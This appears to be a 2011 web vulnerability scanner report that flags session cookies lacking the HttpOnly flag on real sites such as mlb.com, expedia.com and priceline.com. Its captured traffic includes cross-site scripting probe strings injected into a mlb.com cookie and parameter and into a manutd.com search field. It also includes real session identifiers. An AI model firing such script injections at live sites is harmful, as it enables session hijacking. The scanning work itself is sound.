JSESSIONID=7223935ceaae2e8049f67e6c582a; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: aon.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_pers=%20gpv_pageName%3D/site/search.jsp%7C1317605245122%3B
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=C81DF03B10ABEDA473F7CB693F3AAC01; Path=/ Content-Type: text/html;charset=utf-8 Date: Mon, 03 Oct 2011 01:11:36 GMT Content-Length: 72723
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/vfs/pub/drf/v1.0/drflib.js HTTP/1.1 Host: drf-global.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:08:48 GMT Server: Apache Set-Cookie: JSESSIONID=24183C4AD860308D1AAD3C586C84EC19.p0522; Path=/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0 SERVICE_HOST: 10.8.5.56 Cache-Control: max-age=1800, public Expires: Mon, 03 Oct 2011 00:38:48 GMT Via: 1.1 (Service Gateway) Vary: Accept-Encoding Connection: close Content-Type: text/javascript Content-Length: 51092
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:08:49 GMT Server: Apache Set-Cookie: JSESSIONID=E7500CA14FDE215C024D31D0E17145B0.p0522; Path=/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0 SERVICE_HOST: 10.8.5.56 Cache-Control: max-age=1800, public Expires: Mon, 03 Oct 2011 00:38:49 GMT Via: 1.1 (Service Gateway) Vary: Accept-Encoding Connection: close Content-Type: text/javascript Content-Length: 513
function setupLargeBottomHPU(drfAd) { var advertiserRenderer = new AdvertiserRenderer(drfAd); var configurer = new WidgetInitializer(drfAd, advertiserRenderer); configurer.setup(9, 742, "TVLY ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /rjsi/dc/10625/165711/adi/N5282.161249.ADNETIK.COM/B5256632.283;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D&redir=;ord=1576327943? HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://o-va3.wtp101.com/imp?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M=&prc=AAABMscXh9X2XSOH7kO_fDwCKqa4H0Cvxg-Sdg Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=425A3F0D7D8F379F923F9D8944F00D2B; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:20 GMT Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /hotel/HotelCobrand.do?Service=AMEX&leavingDate=10/04/11&returningDate=10/07/11&searchMode=city&city=Boston,%20United%20States&cityCountryCode=&hotelName=&adults=1&?Service=AMEX&WA1=03010&WA2=%EF%BF%BDid&WA4=%EF%BF%BDid&cmpid=af-ctn-af000063&widgetid=ratefind-hot HTTP/1.1 Host: go.americanexpress-travel.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=amex&grp=21&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fad.doubleclick.net%2Fclk%3B206380952%3B28845483%3Bq%3Fhttp%3A%2F%2Fgo.americanexpress-travel.com%2Fhotel%2FHotelCobrand.do%3FService%3DAMEX%26leavingDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyy%22%7D%26returningDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyy%22%7D%26searchMode%3Dcity%26city%3D%24%7Bcity%7D%2C%2520%24%7Bcountryn%7D%26cityCountryCode%3D%26hotelName%3D%26adults%3D%24%7Badults%7D%26%3FService%3DAMEX%26WA1%3D03010%26WA2%3D%25eaid%26WA4%3D%25ecid%26cmpid%3Daf-ctn-af000063%26widgetid%3Dratefind-hot&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=141&pos=2&aii=2943600b-8719-4374-99f1-66c3d37bf8d3&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Date: Mon, 03 Oct 2011 00:09:54 GMT Server: Apache Set-Cookie: JSESSIONID=959CC77E68C7D0C1E45369CF857BC3F1.p0716; Path=/ Location: https://go.americanexpress-travel.com/hotel/HotelCobrand.do;jsessionid=959CC77E68C7D0C1E45369CF857BC3F1.p0716?Service=AMEX&leavingDate=10/04/11&returningDate=10/07/11&searchMode=city&city=Boston,%20United%20States&cityCountryCode=&hotelName=&adults=1&?Service=AMEX&WA1=03010&WA2=%EF%BF%BDid&WA4=%EF%BF%BDid&cmpid=af-ctn-af000063&widgetid=ratefind-hot Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html;charset=UTF-8
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
HEAD / HTTP/1.1 Host: hotelplanner.com Proxy-Connection: keep-alive Content-Length: 0 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=69973641.2138588342.1317600610.1317600610.1317600610.1; __utmz=69973641.1317600610.1.1.utmcsr=drf-global.com|utmccn=(referral)|utmcmd=referral|utmcct=/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 01:40:57 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: CFID=60070682;expires=Wed, 25-Sep-2041 01:40:57 GMT;path=/ Set-Cookie: CFTOKEN=53f1015cf5671dc0-C770E694-A4BA-DBE0-02F461142B2FF8C1;expires=Wed, 25-Sep-2041 01:40:57 GMT;path=/ Vary: Accept-Encoding Transfer-Encoding: chunked
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: hublotnation.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.hublot.com/site/loader.swf Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
POST /resetPassword.do HTTP/1.1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 94 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: secure.mlb.com Cookie: s_cc=true; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/scripts/bam/bam.env.jsp HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Accept-Language: en-us Referer: https://secure.mlb.com/resetPassword.do Accept: */* Host: secure.mlb.com Cookie: s_cc=true; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:48:42 GMT Expires: Mon, 03 Oct 2011 01:48:42 GMT Edge-control: max-age=7200 Content-type: text/javascript;charset=ISO-8859-1 Content-length: 811 Set-cookie: SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; Domain=.mlb.com; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /style/bam.css.jsp?c_id=%0Adocument.title=1317599335378049; HTTP/1.1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Content-length: 0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: secure.mlb.com Cookie: s_cc=true; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:48:58 GMT Expires: Mon, 03 Oct 2011 01:48:58 GMT Edge-control: max-age=7200 Content-type: text/css;charset=ISO-8859-1 Set-cookie: SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; Domain=.mlb.com; Path=/ Content-Length: 9935
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /style/nav_2011.jsp?c_id=%0Adocument.title=1317599336102051;§ion=schedule HTTP/1.1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Content-length: 0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: secure.mlb.com Cookie: s_cc=true; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword
Response
HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:48:59 GMT Expires: Mon, 03 Oct 2011 01:48:59 GMT Edge-control: max-age=7200 Content-type: text/css;charset=ISO-8859-1 Set-cookie: SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; Domain=.mlb.com; Path=/ Content-Length: 16918
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<script language="Javascript"> function checkDom() { var sTest = ""; var newURL; var thisURL = window.location.href; var bSecSwap = true; try{ sTest = window.opener.doc ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
p1=`accttype=v.2,8,1,EX014BD1106A$B48SBjmv$E3$7B$1Es$A7$BD3$18$E3$7D$14$5CM$B56$8F$E0j$13$F9$CBG$E6$F7v$A6`minfo=v.5,EX01EEEB4066$B48SBymv$FCb$10s$A7$BE3$18$E3$7D$14RM$B76$8F$E6j$13$FA$CEG$E6$F0v$916$3E$1Bn$2B$7D$2A$87$92$E2$FE$19$35$17Wf$0Bi$15$EC$26b$A33$93z$1Fd$871$12$3CM$7E`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||Guest|User|Guest|User|Guest S User|247906574|1033|0|0||0|0|0|-1|-1`382; Domain=.expedia.com; Expires=Sun, 02-Oct-2016 06:11:05 GMT; Path=/
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
p1=`minfo=v.5,EX01B7A7E781$9B$B1KB$EF$A4$FBJ$F2$A0$FC$25$96$FF$9A$90l$9Ds$C4$E1$82$EF$E3$EB$AC$37E$8DW$8B$9C$BDM$29q$E3$9A$13$CDO$15$A4$F7$5C$FE$EBEn$0E$83.$B6$FD$ED$9E$A4$E4$C16$86k$EF`accttype=v.2,8,1,EX012A48FECC$9B$B1KB$F2$A4$FBL$F2$BC$FC$2B$95$FF$9B$90z$9Ds$C2$E1$82$EB!2$E3$AC$37I$8DW$85$AA$BDM`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||Guest|User|Guest|User|Guest S User|247905900|1033|0|0||0|0|0|-1|-1`404; Domain=.expedia.com; Expires=Sun, 02-Oct-2016 06:06:28 GMT; Path=/
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=4ph3147ql3ijri58if992avst5; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.hublot.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.manutd.com/Search-Results.aspx?qs=manutd_frontend&catTxt=&searchText=xss75931%3Cscript%3Ealert(document.location)%3C/script%3E14fb8fbf954 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 301 Moved Permanently Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Status: 301 Moved Permanently Location: /en/ Content-Length: 0 Content-Type: text/html; charset=UTF-8 Date: Sun, 02 Oct 2011 23:58:35 GMT Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=4ph3147ql3ijri58if992avst5; path=/
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /weimg?itype=langs/en/tripadvisor_logo_207x51-12811-0.gif&lang=en HTTP/1.1 Host: www.jscache.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.getaroom.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /QP.asp?ProductID=5R&refid=PLIGOUGO&refclickid=HOTELSEARCH&City=Boston,United%20States&Rooms=1&CheckInDate=10/04/11&CheckOutDate=10/07/11 HTTP/1.1 Host: www.priceline.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=priceline&grp=9706&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.priceline.com%2FQP.asp%3FProductID%3D5R%26refid%3DPLIGOUGO%26refclickid%3DHOTELSEARCH%26City%3D%24%7Bcity%7D%2C%24%7Bcountryn%7D%26Rooms%3D%24%7Brooms%7D%26CheckInDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyy%22%7D%26CheckOutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyy%22%7D&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=154&pos=1&aii=d1125990-8f30-4f2a-83dc-0b115fb728a1&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.priceline.com/hotels/Lang/en-us/retail/retail_bounce.asp?session_key=711510AC721510AC20 ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:08:47 GMT Server: Apache Set-Cookie: JSESSIONID=85194181F8EF5609A9FA7C933BC61666.p0522; Path=/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0 SERVICE_HOST: 10.8.5.56 P3P: policyref="http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/vfs/pub/drf/p3p/p3p.xml",CP="NOI DSP CURa ADMa DEVa OUR IND UNI COM NAV" Via: 1.1 (Service Gateway) Vary: Accept-Encoding Content-Type: text/javascript;charset=ISO-8859-1 Connection: close Content-Length: 2401
var DrfGlobals = { sid:"bfa7dd53-c988-458c-86df-52443affccb8", // session id pid:"c3919e40-e5b8-49f8-b876-4fed1f31968f", // publisher id pti:"default", // page type id src:"none", // source
